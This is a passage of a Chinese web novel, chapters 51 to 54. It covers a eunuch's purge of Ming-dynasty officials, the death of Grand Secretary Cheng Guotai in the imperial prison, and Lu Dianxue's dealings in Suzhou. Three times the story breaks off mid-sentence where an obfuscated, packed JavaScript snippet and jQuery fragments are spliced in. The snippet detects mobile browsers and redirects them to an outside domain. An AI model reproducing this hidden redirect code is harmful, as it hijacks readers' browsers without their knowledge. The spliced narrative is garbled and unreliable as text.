什么《邪谋愈出愈奇疏》《邪/党蓄谋已久疏》,什么《告天文》《倡言要挟疏》《舍死报国疏》,帖题取得一个比一个唬人,傅谊从前看话本子都没见过这么夸张的。【1】
还有徐缙芳此人,一下子写了《揭贪臣设谋布毒》《揭大奸煽祸陷人》二则,让傅谊深深地记住了这位御史。
之后不外乎是今天你上疏检举一下谁,翌日这谁又公开发揭帖说对方的不是,然后双方开始不断相互攻讦。
看所署日期,有时甚至能做到一天一帖。
傅谊对这些斗得你死我活的京察之争没有任何兴趣。
横竖有些人要借此搞门户之见排除异己,他倒不如静摄而观,坐收渔翁之利。
只是令傅谊完全没想到的是,这些人竟敢连民变也敢煽动!
他们眼中还有没有自己这个皇帝!
事已至此,傅谊觉得自己不能再坐以待毙下去。
内阁那几个暂时动不了,他难道还不能整治几个小人物?
傅谊将访单大致浏览了一遍便交给了赵除佞,让东厂看着办,点到为止,给个教训就行。
但是这一次,他低估了赵除佞的野心。
自此,就在傅谊的有意纵容之下,东厂在京里掀起了一阵腥风血雨之风。
先是无数官员无端被下狱。
都察院的御史察觉到朝局的不对劲之处,相继弹劾赵除佞图谋不轨、专政弄权。
而攀附赵除佞之人则对其进行反击,上疏中伤,且赵除佞以皇上之名,将他们撤职削籍。
纵算内阁多次对皇帝加以劝阻,希望皇上勤政讲学,以稗治本杜乱源,甚至惊动了太后娘娘来劝导皇上。
然傅谊对此皆充耳不闻,任凭着赵除佞在朝堂之上胡作非为,以至阉党气势愈发嚣张。
皇上此等态度,彻底激怒了群臣。
苏州民变还历历在目,皇上反而不以此为戒取消矿税,甚至还愈加宠信宦官!
于是大臣与赵除佞一党的气氛逐渐剑拔弩张,都快发展到了短兵相接的地步。
在双方相持期间,赵除佞趁机招揽了不少对他言听计从的人进入机要部门,又以皇上谕旨给多名太监给予加荫。
东厂则在民间肆意妄为,不断罗织罪名,制造冤假错案。
最终,忍无可忍的都察院左副都御史杨廉大义凛然地挺身而出,向皇上呈进奏疏,弹劾赵除佞的二十四大罪。
此疏一出,朝野震惊,一石激起千层浪。
杨廉此举极大地鼓舞了朝廷内外大臣们的斗志,纷纷交章声讨赵除佞。
内阁中有刑部尚书程国泰率先出面支持杨廉的义举。
在杨廉上疏的几天后,他上疏揭发赵除佞在香山碧云寺所造的坟墓仿照帝王陵寝的规格,并怒斥赵除佞“口衔天宪,手握王爵,生杀予夺”!【2】
赵除佞闻言又惊又怒。
待冷静下来后,他便将先前那些抨击过他的人全都歪曲成“崇正党”的肆逆,竭尽诋毁之词将他们统称为邪/党,并指使梁纲拿着京察的访单,对着访单上所状告的官员一个个逮捕入狱。
这其中,就包括刑部尚书程国泰。
“他赵除佞莫不是疯了!连内阁大学士都敢打入诏狱!”
萧藩听闻程国泰入狱的消息后,大惊失色,满目难以置信,
“再怎么说他程国泰也是帝师,是将圣上从小教到大的,赵除佞竟也敢对他下手?这是要置圣上的名声于不顾啊!”
季无忧不免也有些心惊肉跳,匪夷所思道,
“圣上当真就这么纵容着他胡作非为?虽说程阁老脾气是坏了些,但也是忠贞为国绝无二心之人,怎可能公然索贿?纯属无稽之谈!赵除佞为了铲除异己之人,简直不择手段!”
“但他在卢点雪出狱后,公然在宫门口拦住她并邀她入府议事是事实,这个很多人都瞧见了,他抵赖不掉。”
萧锵难得面露难色,满脸净是凝重。
“他当初拦下卢点雪,八成是为了商讨如何让皇上取消矿税。宫门处那么多人,皇上怎可能不心知肚明?只是没点出来罢了。”
“而他赵除佞竟以程民安向卢点雪行贿,企图买通巡按御史的罪名,不问青红皂白就将一大学士打入诏狱。如今赵除佞还言之凿凿地说程阁老因‘借都城赁舍一季租’的法子引得怨声载途,请阁老入狱反思几日不冤。”
“他分明还是冲着矿税来的,”萧藩愤愤道,“程国泰抗议得最为猛烈,所以赵除佞要拿他以儆效尤!京察之争迫在眉睫,如今这么多人被抓,恐不利于我们。”
“圣上那边还是没有消息?国舅爷也无任何动静?”
萧锵抬眉,若有所思地问道。
“没有,岳侍郎日日求见圣上,然圣上已停了每日的小经筵,为的就是避开岳侍郎,看来此次陛下是势必要为赵除佞撑腰。就是不知这次,陛下还有没有高高举起轻轻放下之意了……”
季无忧一脸担忧。
他话正说着,忽闻有人急见阁老。
来者行色匆匆,低声说了几句,满座皆惊。
那名探子言道,赵除佞方才于午门乱棍打死了一个工部郎中,又将那上疏弹劾他的都察院左副都御史杨廉押入诏狱,严刑逼供!
季无忧和萧藩霎时只觉一桶冷水浇在头上,如坠冰窖。
“程阁老情况可还好?赵除佞可有另作吩咐?”
季无忧急急发问,本欲求个心安。
未想探子却是直接回道,那赵除佞不断以皇上的名义下令严刑追比,限五日一回奏,不得宽纵,待追赃完日送刑部据诏拟罪!
此语一出,众人汗然。
萧藩一时手脚有些发软,瘫坐回椅子,仍还未缓过神来。
“不好……刑部上上下下已被赵除佞换了个干净,连刑部尚书也不能幸免,看来他和杨廉是凶多吉少了……”
他的额上冒出了不少冷汗,口中喃喃道。
然而就在他身旁,从探子进来后就一直不作声的萧锵倏地猛抬起头,大喊道,
“去——赶紧去把这事告诉魏遇之!让他把程民安那个叫史德法的学生调到京里来,要快!”
他话刚出口,似是觉得不妥,复又紧锁着眉头,补充道,
“不行,眼下正逢多事之秋,魏与归又要与梁纲共掌京察大计,分身乏术,我们不能在这个时候被梁纲抓住把柄,内阁不能再搭进去一个了——这样,优游,你即刻书信一封给我师弟云离!让云离相去把史德法给找过来,不管如何,让他速速上京,万万不要耽搁!”
“可,可是老师,地方官不得皇上旨意,私自进京乃是大罪!若是被旁人知晓——”
季无忧本还有些犹豫,却被萧锵打断了,
“京城老夫来打点,金陵乃至南直隶那边就看云离相的了。放心,只要他云离相想保人,金陵六部上上下下,哪个会不给他这个面子?直接告诉云离相,程民安落在赵除佞手中朝不保夕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938150|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他史德法要是还想见他老师最后一面,就赶紧来!”
“再者,你以为当今朝廷之上,可还有皇上在发号施令?”
此一言振聋发聩,不亚于平地一声雷。
“是,学生这就去写信,告知云太傅!”
季无忧这才如梦方醒,慌忙离开。
与此同时萧藩也起了身,准备去打点相关事宜了。
临走前,萧藩思虑再三,最终还是决定将心中的疑惑一吐为快:
“爹,您为何这次要如此帮程国泰?何况您不是也素来不喜那云太傅吗?为何这次您却要低下头来,倾力相助……?
萧藩耐心地候了半天,可也未曾等到父亲的回应。
过了半晌,萧锵才缓缓吐出了一口气,声音低沉,仿佛霎时苍老了不少,
“你可知,兔死狐悲的道理啊……”
*
子时,京城的小路间。
史德法一个人穿行在夜色当中,小心翼翼地避开正在夜禁巡城的巡捕营。
待到确定附近再无旁人,史德法这才放心地从巷子中出来,直奔诏狱而去。
从扬州偷跑到京师的这一段路上,不可谓不心惊肉跳。
自云太傅密信告知他老师的消息后,他就日夜兼程,终于赶在赵除佞给老师定罪前来到了京城。
虽说他身为金陵户部右侍郎,现主管扬州漕运,非皇上传诏不得离开扬州。
但如今老师为奸人所害,史德法也顾不得这些,待拜托好那些与云太傅相交好的官员帮他遮掩后,便义无反顾地直上京师。
逆阉对诏狱的监视十分森严,就连仆役也不能接近左右。
他日夜守在附近,就为了有朝一日能够进去看望恩师。
史德法永远也忘不掉那日老师收他作学生时,带他去拜见师母时的场景。
他与老师的初见,是在十几年前一个风雪交加、严寒彻骨的下午。
彼时他还是个清贫的书生,刚在古寺里刚写完一篇文章,伏案小憩。
不知何时,尚为京畿学政的程公带着几名卫兵,微服入古寺。【3】
见到正在睡觉的自己,还有旁边他刚写完的文章,程学政拿来看完后就解下貂裘盖在了他身上,随后还为他掩上了门。
应当是那日学政在寺中向僧人打听了他的名字,故而在考试时,当小吏喊到了他史德法之时,程公猛然抬头,瞿然注视。
呈卷,即面署第一。
随后老师召见,将他带至家中,拜见师母,且曰:“吾诸儿碌碌,他日继吾志事,惟此生耳。”
又对他继续勉励道:“童子勉之,前半节事在我,后半节事在汝。”
但是就在今日,他听闻老师被炮烙,旦夕且死,更是心如刀割,手持五十两白银,流着泪向狱卒苦苦哀求。
狱卒终还是被史德法的诚心所感动,让他更换衣物,穿草鞋、背篮筐,手执长鑱(chán),装扮成清扫者,悄悄地领着人进了诏狱。
史德法顺着狱卒指示的方向望去。
只见程阁老席地倚墙而坐,面额焦烂不可辨,左膝以下筋骨尽脱矣。
史德法见之,登时悲从中来,上前跪抱公膝而呜咽。
程国泰辨出了他的声音,但眼睛已无法再睁开,于是奋臂以指拔眦,目光如炬,怒曰:
“庸奴!这是什么地方,你竟敢悄然前来!国家之事糜烂至此,老夫已矣,你若再不顾性命安危来到狱中,而不明救国之责更重,天下事又有谁可支拄者?”
“不速去,就不必等着奸人来构陷,吾今即扑杀汝!”
语毕,程国泰当即摸起地上的刑具,作投掷态。
史德法迫不得已,噤不敢发声,急趋而出。
待离开诏狱后,他失魂落魄地去了次辅魏与归的府邸。
为避人耳目,魏与归仓促将他拽进门内,待屏退众人才敢问一句“程民安尚安否”?
史德法听罢,涕泣不语。半晌,方述其事以语魏公:
“吾师肺肝,皆铁石所铸造也!”
52. 第 52 章
而远在苏州的卢点雪和李平还尚未知晓京中发生的剧变。
此时,他们正站在水田的田垄上,望着乡亲们种水稻。
自打孙隆的事处理完后,百姓们如释重负。就连忙农活之时,他们的脸上都是喜气洋洋的。
不过,卢点雪却仍是一副愁眉不展的模样。
如今似乎还多了几分倦怠。
江南多雨季,眼下又到了黄梅时节,日日都很潮湿沉闷。
浑身上下仿佛都像是在蒸笼里蒸着似的,让人透不过气来。
江南就是这点不好。
不管是在金陵或是苏州,但凡到了梅子黄时,阴雨连绵不绝,云雾接连不散。
卢点雪最为不喜的便是梅雨天。
她觉得自己身上都快潮得生霉了,就跟家乡徽州的马头墙似的,星星点点的霉斑早已在不知不觉中爬满了墙垣。
“澄怀多虑了,人是不会长霉点的,心静自然凉。”
相反,李平倒是意外地从容。
他一边兴致勃勃地翻阅着书,一边仍不忘宽慰卢点雪。
“你当真不觉热?”卢点雪困惑地望向他,“难不成舒和兄的真身其实是蘑菇?每逢阴雨天便噌噌往外冒?”
“不然,其实是因这书编得极妙,其中收录的文章有几篇自有股冰雪文气,读之令人倍感凉爽,澄怀不妨一观?”
李平笑笑,将手中书递到卢点雪面前。
卢点雪好奇地凑上来。
只是她瞧着瞧着,总觉得李平所指的这篇文章愈发熟悉。
好像是她从前帮人改过的一篇。
卢点雪的心咯噔了一下。
很凑巧的是,李平所称赞的那句,正好就是她加上去的。
不会吧,这本书应该不是她想的哪一本吧……
卢点雪不信邪,上上下下、左左右右地看。
李平原以为是她被这书中语句所打动,喜笑颜开,正欲再说上几句,未想卢点雪竟是径直出手,将其夺了过来。
李平:?
李平不解其意,但仍旧微笑着仍由卢点雪将书拿走。
“你瞧是吧,这书是不是编得极好——!”
他话音未落,卢点雪就猛地一合书页,看那封皮模样。
只是这书的书名,并不是她想的那般。
卢点雪有些困惑。
难不成是自己猜错了?
可是方才她看的那篇文章,应当只收在了那册书中啊。
卢点雪的手不由自主地摩挲起了封皮。
只这这一摸,她就察觉到了端倪。
在李平霎时变得惊恐的目光下,卢点雪已迅雷不及掩耳之势翻到扉页。
果不其然,这书是有两层封面的。
这书的第二层封面,赫然题着“拔萃”二字。
卢点雪无奈望向李平。
“舒和兄,这可是朝廷禁书。身为朝廷命官,你怎么还明目张胆地——”
“嘘嘘嘘,澄怀慎言!”
李平连忙竖起手指,示意卢点雪噤声,
“这不是还包了层封皮遮一遮吗,你不说,不就没人知道了?”
他心虚地将书从卢点雪手中拿回,抚平封面,装作一派无事发生的模样,
“这里天高皇帝远,大理寺是查不到的,不过澄怀你可别小看了它!江南一带的学子们可都得靠这些书来写八股文呢!”
卢点雪听后,一阵沉默。
废话,她当然知道这书是干什么用的。
她可不就是是编纂此书中的一员!
但这话他不能跟李平说。
万一不小心传出去,可有罪受的。
于是乎,卢点雪只能假装毫不知情。
她不动声色地又将书拿来,封面朝内,往李平胸口前重重一拍,面无表情道,
“掩耳盗铃。知道京城内有大理寺在查,那就赶紧收好,还敢这么大摇大摆在人面前看,生怕别人不知道你徇私枉法。”
李平捏起书角,将其小心翼翼地收入怀中,随后嘿嘿一笑,
“大理寺也就做做样子嘛,若是真把这些科举用书全都给禁了,岂不断了寒门学子的路?何况这些书本就是为科举而编的,谈不上什么危害。相反,本府还挺欣赏这些编书的人呢,私底下也常和原社的人谈论此书。”
“哟,这个时候不怕惹事了?”卢点雪眉毛一挑,调侃道,“看来舒和兄最近大有长进,胆子大了不少。待我回京述职后,定向季尚书好好夸赞于你!”
“倒也不必如此,”李平即刻认怂,讪讪道,“老师在礼部甚为忙碌,这种小事还是不要惊动他了吧。”
卢点雪闻之,微微一笑。
然而令她未想到的是,李平仍还未死心,悄悄附过身来,低声试探道,
“所以澄怀,既然方才你也看过了,你觉得这篇文章写得如何?不打算再看看此书吗?真的编得很不错哦——!就是最近出得慢了些,也不知是什么原因,中间还陆陆续续断了几次。”
这次轮到卢点雪心虚了。
其中原因她最清楚不过。
因为那个时候她人在诏狱,人手不够,同她一起编书的人又为了避避风头,自然要消停一阵子。
反正不管李平是如何一个劲地将书夸得绝无仅有、天花乱坠,卢点雪自是充耳不闻,不为所动。
这场小打小闹,直至吴县知县邓礼到来后才算结束。
“哦,邓知县来了?和那些乡绅们谈得如何?”
李平正了正神色,率先开了口。
“还是老样子,顾左右而言他,就是绝口不提募捐的事。”
邓礼无奈地叹了口气,面色有些难看。
“难道县衙中就必须得靠他们募捐才能修建水利吗?难道官府的就不曾拨出专门的经费用于此处吗?”
卢点雪有些难以置信。
“没有,通常都是民间自办,由乡绅或宗族出面组织,”李平摇了摇头,附和道,“官府的开支一般都是源于赋税的存留。此部分存留在支付官吏、生员俸廪后,通常只能余一百至二百两白银用于办公。此外,之前用作平息民变的耗羡盈余,也有部分会充作对官府财政的补充。”【1】
“莫非朝廷真的指望不上吗?先前我已写信发往内阁,不知朝中阁老可否应允拨款修堤坝的请求。”
卢点雪眉头紧锁,沉思道。
“八成是等不到了。国库空虚,东北和西南皆有战事,何况现下已是黄梅时节,不知又要下上多久的雨。再不兴修水利,夏税怕是就要耽搁了,到时候朝廷又要怪罪下来。”
李平唏嘘不已。
“所以眼下苏州府内有多少乡绅富商愿意出资?若是他们一直无所表态,我愿与李知府一同前去劝说。”
卢点雪刚将这个想法说出口,邓礼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957335|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸上的愁云霎时散去,转而换上一副欣喜的表情,迫不及待地赞同道,
“善!这正是乡绅富商们的意思,也是我之所愿!”
“卢巡按,您也是知道的,我不过一介七品小官,尤其是在那些从中枢退下来的士绅们面前,那断断是不够看的。故而这些老大人们也跟我说了,欲宴邀卢巡按和李知府上门详谈,不知二位可愿……?”
邓礼说着说着,声音却愈发地小了起来。
因为方才他也在悄悄地观察着卢点雪和李平的神色。
卢巡按还是一如既往地面色冷峻。
不过邓礼知道,事关百姓,卢巡按定然不会无动于衷。
不出所料,卢点雪仅仅迟疑了半刻,便坚定地点了点头。
至于李知府嘛……
邓礼复又瞥了一眼,心下了然。
果不其然,李平的表情逐渐变得微妙起来。
他与李平也算是打了半年的交道了,对于李知府的一举一动,基本上也能猜个八九不离十。
瞧这模样,李知府看起来很是纠结啊。
这次邓礼也没吭声。
毕竟他也知道这苏州府里的乡绅有多难对付。
别的不说,光是他吴县县内,从朝廷退下来的就有十来位。
其中一位还是先工部尚书,内阁阁员,谁见了不得礼让三分?
关键是这位顾老如今还有不少子弟在朝中做官,又与萧阁老交好,若是一不小心冒犯了人家,那以后的仕途差不多就到此为止了。
是以邓礼这个七品知县,人家压根就没瞧上眼。
从前在百姓面前威风凛凛的邓礼,到了这位大人的府上,也不得不点头哈腰,一举一动战战兢兢、如履薄冰。
邓礼募捐水利的事刚说出口,那位先工部尚书就十分不客气地打断了他的话。
他直接让邓礼把李知府和卢巡按喊来,择日宴请他们及苏州府内的其他官僚与富商,再行商议。
这位老爷的原话,邓礼哪敢如实告诉卢点雪,只能委婉地将话语美化了一番再告知于她。
他也是真怕了这卢巡按,面上看着不动声色、冷冷清清的,结果搞出的事情一个比一个大。
不鸣则已,一鸣惊人。
他也是相当担心卢点雪听了原话后,当即就要上门与那老爷理论理论,到时候还不知该如何收场。
邓礼和卢点雪耐心地等了半天,李平却没个反应,欲言又止。
卢点雪本还有些疑惑。
先前二人早已约定好了一起去劝说乡绅富商,尤其是那个林凡安,势必要从这些人口中掏出钱来修筑堤坝,不然怎对得起被他们利用煽动起来的百姓?
李平也不是傻子,处理民变后续的时候他也意识到了。只是碍于形势,他这才没揭穿他们的别有用心。
如今既要厚着脸皮去蹭人家的筵席,又要赔着笑脸求这些人捐钱,真是令人一言难尽。
何况李平性子本就腼腆,临危而惧也在情理之中。
且他老师是季无忧,估计不少乡绅有想要拉拢他之心,他也是左右为难。
思及到此处,卢点雪也理解了他的难处,便先替李平回了邓礼的话,让他再多出一段可供好好斟酌的时间:
“李知府今日还有要事去做,要不让他再思虑一番吧,过几日给你答复,可好?”
“好,那下官先行退下了。”
53. 第 53 章
令邓礼没想到的是,卢点雪和李平答应是答应了,结果才过了几日,二人双双没了影儿。
正逢顾老那差了人过来,诚邀李知府和卢巡按今日赴宴。
邓礼找不着人,急得如同热锅上的蚂蚁团团转,可谓是欲哭无泪。
“堂尊劳累许久,真是辛苦了。您不妨先去赴宴,让草民来找人,您歇息会儿?”
来者莞尔而笑,和声细语地与邓礼商量着。
不消多说,正是富商林凡安。
邓礼闻言一怔,略有怀疑地望向林凡安,心中忍不住嘀咕这个商人何时和顾老的关系这么好了?
“草民恰好昨日才与那两位打了个照面,不如就让草民带着他们去顾老府上吧?”
像是怕邓礼不相信,林凡安不慌不忙地补充了两句,看起来胸有成竹。
“那好吧,可别别误了赴宴的时辰!”
邓礼最终还是破罐子破摔地把寻人的任务交给了林凡安。
横竖死马当活马医,他是真找不着那两个人。
哎,也不知道这两位最近是怎么回事,都不在衙门里待着了,动不动就往外跑,还是做大官舒服。
待邓礼长吁短叹地走后,林凡安也离开了府衙。
他低头思索半晌,径直走向寒山寺。
其实方才他是在诓邓礼。
自织佣事变后,他也没见过卢点雪。
至于为何要这么说,还是因为有些要事他要私下与她商量,否则之后怕是没有二人能再单独见面的机会。
不过他知道卢点雪素有到寺里清修静心的习性。邓礼死活找不着人,那她八成就是在附近的寺院里。
如林凡安所料,在寒山寺的一间禅房内,他轻而易举地就找到了人。
此时卢点雪正坐在案前,俯首抄写经文。
她写得很慢,目不转睛,袅袅的檀香顺着她的笔杆盘旋而上,如一只轻柔的手,逐渐遮掩住了她的视线。
然卢点雪不为所动,依旧缓缓地,坚定地,一笔一划地写下去。
林凡安见状上前一步。
在隐隐绰绰的青烟间,他微眯着眼,尝试辨认字迹。
“观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄……”
他顺着卢点雪的字自上而下地念下去,而后轻轻一笑,转身离去。
“原来是《心经》,甚好,我也来取纸笔抄上个几遍吧。”
他这不出声还好,一出声,卢点雪的注意力就全被打断了。
心念一动,思绪便也跟着乱了。
她不满地搁下笔,眼神颇带责怪地望向林凡安。
“你既要抄《心经》,那就找块地儿安生抄着便是,何必搅扰旁人?”
“是我的不是。”
林凡安净口净手后,带着纸笔折了回来。
他在卢点雪对面落座,温声道,“那我合该向您赔罪,是我一直让卢巡按心神不定,从而要靠抄《心经》而息虑静缘了。”
“……你就不能好好讲话。”
一听林凡安,也就是云梵这语气,卢点雪就头疼。
“好好好,是我自己心猿意马,不关你的事。有什么话就赶紧说,别绕弯子。”
比起孙隆那种直来直去明着坏的,卢点雪最不想应对的还是云梵这种绵里藏针、心口不一的人。
嚯,天天嘴上说自己这里不好那里不好,到头来还不是在指桑骂槐,暗讽他人吗!
被林凡安这么一搅和,卢点雪彻底没了抄经的心思,干脆就这么直勾勾地盯着林凡安,等他开口说正经事。
“不对啊,最近我又没跟你打交道,你是如何知道我心神不定的?”
卢点雪后知后觉地意识到了不对劲之处。
“若不是为了破三障,何需将《心经》抄这么多遍?”
林凡安慢条斯理地说着,而后又续上了几根线香。
“何况我见你已反复写了如此多次,字迹却越发飘忽不定,想来贪嗔痴未曾去,苦厄不曾度,报障业障烦恼障仍旧存在。”
“何处不能抄经?何经不能静心?如此执着于外物,有所为而为,还说自己没着相吗?”【1】
林凡安声音不大,语气也甚为温和。
然而就是这样的一番话,把卢点雪问得哑口无言。
她垂首陷入沉思,默然许久。
“你说得对,近期是我太过浮躁了。”
“我此次来寒山寺内清修,目的确实跟以往不同。与孙隆一番对峙后我便一直在思考,我,这个应天巡按,真的只是我自己?我是应天巡按,还是应天巡按是我?”
闻言,林凡安饶有兴致地挑了挑眉,不置可否:
“你既已选择去抄《心经》,那便是心中早已有了答案。舍利子,色不异空,空不异色,色即是空,空即是色,受想行识,亦复如是。”
卢点雪点头以示赞同:“我知道‘应天巡按’一职是个虚相,是指代一个职位的名称而已。不过,我依旧认为我这个实体可以发挥我作为一个人的能力,赋予其一定的意义。一个虚幻的名称并不足以定义我,但我却可以做出行动,将这个虚相与我联系在一起。”
“当是时,孙隆以王权逼迫我停手,说我这个应天巡按之所以能如此威风,皆是因我背后站的是皇上。我就是如是反驳他的:我,只会是我,不是任何人的附庸!”
“但事实上我也一直在反复琢磨这句话。此话说出来容易,可实际要想做到却极为困难。知而未行,实则未知,在此方面我仍是迷惘的。我连我自己都看不明白,如何才能观照他人,致良知呢?”
“原来如此,”林凡安颔首,了然于心,“破山中贼易,破心中贼难,是这般道理。”【2】
“你师从卓吾先生,又是王门心学泰州学派之中人,如何证心明道,如何知行合一的道理,想来也无需我多言。若是一时想不明白,倒也不必一直执着于此,见机行事,随遇而安。”
“还记得天泉证道吗?阳明先生有所谓‘王门四句教’,其门人王畿、钱德洪对其产生争执,见解不一。王畿以为‘心’‘意’‘知’‘物’四者“无善无恶”;而钱德洪以为四者有善有恶,须‘为善去恶’。二人相持不下,遂于重阳之夜于绍兴天泉桥,王守仁处质证。”【3】
“先生曰‘二君之见,正好相资为用,不可各执一边。汝中须用德洪功夫;德洪须透汝中本体’。也就是说,一人认为四句教有误,心体无善无恶,人身只需不被习心所侵蚀,便可守住心体,故而意之动无善也无恶。另一人则认为四句教无误,认为无善无恶乃天命之性,圣人是如此,但常人难免有习心在,也就是佛家所言的贪嗔痴,有业力,故而意之动是有善有恶的。不知澄怀你研读了这么久的心学,对此可有所感悟?”
“都不够中庸,”卢点雪不假思索,脱口而出,“一个太过超脱,一个太过拘泥。诚如先生所言:我这里接人,原有此二种。利根之人,世亦难遇,本体功夫,一悟尽透。此颜子、明道所不敢承当,岂可轻易望人!汝中之见,是我这里接利根人的;德洪之见,是我这里为其次立法的。二君相取为用,则中人上下,皆可引入于道。若各执一边,眼前便有失人,便于道体各有未尽。”【5】
“依阳明先生之见,王畿便是利根之人。利根之人,直从本源上悟入。人心本体原是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980084|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明莹无滞的,原是个未发之中。利根之人一悟本体,即是功夫,人己内外,一齐俱透了。”【6】
“利根钝根之说,本为佛家所言。有人生而知天下通行之大道,从容行之即可一步登天;有人则需后天之勤勉,脚踏实地方可实现己愿。王畿之语,若从理论而言,无误。然世上又有多少利根之人,又有多少能体悟天理的圣人?心体不被习心侵蚀,谈何容易?是故我为以为王畿所言意之动无善无恶,是为评判善恶之律法,是至善。但律法本身又岂可加以评判善恶?律法,既非合法,既非非法,律法为评判善恶之标准。”
“诚如阳明先生所言,二者之言,还需相互兼顾,相互学习。”
“是啊,后世有阳明弟子邹守益把四句教第一句改为‘至善无恶心之体’,足以见得四句教这一漏洞引发了多少纷争。换言之,话语也是一虚相,无论人用何种方法去表述自己的心中所感,却总有不得其义之遗憾。”
至此林凡安长叹一声,“后来王畿与钱德洪的结果你也知晓,二人各执一词,以至王门弟子分道扬镳、分源别派。而后,王畿越发偏激,越发绝对,逐渐为世间所不容。”
“太过执着,易生我执。王畿反复强调无善无恶的心之体,不让人身被外物影响。过于强调内心,忽略良知从无善无恶的标准下转入实际所做出的改变,这是万万不可取的。他太执着于净,着了净相,变成了有所为而为。如此,就容易落到表面功夫上,还是成了向外探寻,良心仍旧是被遮蔽,终究一事无成。”
“莲花生于污泥,智慧从烦恼中来,若无智慧,何需烦恼?”
“正如《传习录》里薛侃除草,他觉得草没有用,阳明先生曰‘子欲观花,则以花为善,以草为恶。如欲用草时,复以草为善矣。此等善恶,皆由汝心好恶所生,故知是错’。你此时觉得无用的烦恼,实际上或许并不如你所想象得那般无丝毫用处。若是一时半会想不出来,那就随遇而安,应无所住而生其心,我不希望你也落到个痴念缠身的下场,眼下,还有更重用的事要去做。”
“比如说,李知府现在人在何处?顾老那要开宴了,特命我来邀你们二人入席。”
“好了我知道了,劳烦你还专门跑来开导我一番。”
卢点雪苦笑一声,如释重负地摇摇头,“他在旁边的竹林里效仿守仁格竹呢,说是想看看能不能也像阳明先生一样,悟出些与先贤不一样的道理来。”
“……行吧,那你先去把他找来,待我抄完《心经》就领你们过去。”
见林凡安大有一副不抄完不走人的气势,卢点雪诧异无比。
她没想到他是认真的,遂揶揄道:
“你既是顾老派来寻我们的,怎倒现在还是一副不紧不慢的模样?不会也同我一般,抄经是有所为而为的吧?”
“我可没那么多讲究,所作所为皆出自真心,何况方才我是见你抄了才临时起意的,肯定与你不一样。”
面对卢点雪言语上的戏弄,林凡安头也不抬地礼貌回击道,笔也不曾停留过片刻。
待经文抄完他方才投笔起身,上下打量几遍,正色道,
“写得还行。若是用于祭奠,这一篇发愿过的,便也足矣。”
“祭奠?你这话是何意?好端端的,为何要祭奠人?”
迎着卢点雪又惊又疑的目光,林凡安恍若无觉。
他安静地将手中经文投入铜盆,平静地望着火苗将宣纸吞噬殆尽后,这才与卢点雪对视,
“程阁老于上月廿一为东厂酷吏所捕,现已死于诏狱之中。”
“这个消息,是金陵户部右侍郎亲自上京探查到的,也是我正要告知于你的。”
54. 第 54 章
林凡安说这句话的时候,语气仍是一如既往地平静,温和。
就像是在谈论着什么无关紧要的事情一样一般,宛如一片落叶飘落到水面上,泛起些许涟漪。
有点波动,但不多。
但卢点雪毕竟不同于他。
乍一听到这个消息的时候,她的大脑里只有一片空白。
随之而来的,是逐渐浮上心头的迷茫和难以置信。
然而林凡安并未给她发问的机会。
"且不提京里发生的动乱,这个消息我原本没打算告诉你,毕竟今晚的这场宴席注定不会太平,我不想你因此而乱了分寸。"
林凡安言简意赅,顺势观望着卢点雪的神色变化,
"不过之后我们或许并未有多少可单独见面的机会,所以我还是决定告知于你,好提早做个准备吧。"
"多谢提醒,"卢点雪闭上眼,深吸一口气,随后缓缓吐出,"什么时候传来的消息?江南这边还有旁人知晓吗?"
"怕是基本都知道了,"
林凡安缓缓地点了点头,沉声道,
“毕竟史德法之所以能擅离职守私自上京,没少靠江南各级官员的掩护和打点。他这一回来,纵然外头没走漏风声,江南这些人估计也知道得差不多了。我想,八成今晚他们就会趁着这个机会来拉拢你对抗阉党。"
"拉拢我?怕是我刚准备跟他们要银子修水利,这些人就要翻脸了。"
只听卢点雪冷哼一声,复又睁开双眼,斜斜一睥林凡安,满眼净是凛然之意,
"说来也真是好笑,挑唆民变的事我还没找你们算账,你们反倒自己找上门来了?”
"俗话说人在屋檐下,不得不低头,"林凡安略微颔首,颇为敷衍地拱了拱手,"何况草民这不是担心卢巡按困溺于虚妄中而着了相,这才冒着被发现的风险来通风报信嘛。"
"不是吧?莫非你真的是以为我是因孙隆的那几句话而神思恍惚?云降心,你未免也太小瞧人了。学了这么久的心学,难道我就真如此不堪一击?"
话说着,卢点雪从袖中掏出一封书信,递给林凡安,将他先前说过的话原封不动地还回来,
"原本我也没打算给你看的,毕竟是朝廷发给我的。不过一物抵一物,也让你瞧瞧吧,免得你之后乱了方寸,好提早做些准备。"
"……卢巡按这话说的,未免太小心眼了些。"
林凡安无奈摇头,顺势接过。
未想就读着读着,他的神色顷刻间就变得严肃起来。
